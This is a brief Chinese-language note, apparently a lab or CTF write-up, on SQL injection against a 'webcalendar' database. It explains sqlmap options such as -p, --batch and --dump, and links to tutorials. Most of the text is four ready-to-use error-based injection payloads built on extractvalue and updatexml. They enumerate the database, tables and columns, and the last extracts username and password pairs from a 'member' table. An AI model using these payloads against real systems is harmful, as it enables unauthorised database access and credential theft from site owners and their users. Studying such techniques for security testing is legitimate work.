1.具体sqlmap的破解方法:
    https://www.cnblogs.com/qtisec/p/11097191.html

    注:其中在注入点,例id:*,表示只在id出进行注入,也可指定注入的参数,sqlmap -p id
    —batch 一切进行默认,不需要用户进行确认
    —dump 生成dbms表

    2.使用手工进行注入:

    具体extractvalue语句参考:https://blog.csdn.net/bangyan3903/article/details/101788019
    具体手工参考:https://blog.csdn.net/mutou990/article/details/107761999

    示例:
    ‘ and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’ =’1

    ‘ and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=’webcalendar’),0x7e)) and ‘1’ =’1

    ‘ and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=’member’),0x7e)) and ‘1’ =’1

    ‘ and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,name,0x3a,password,0x23) FROM member limit 0,1),0x7e),1) and ‘1’=’1 两种结合使用!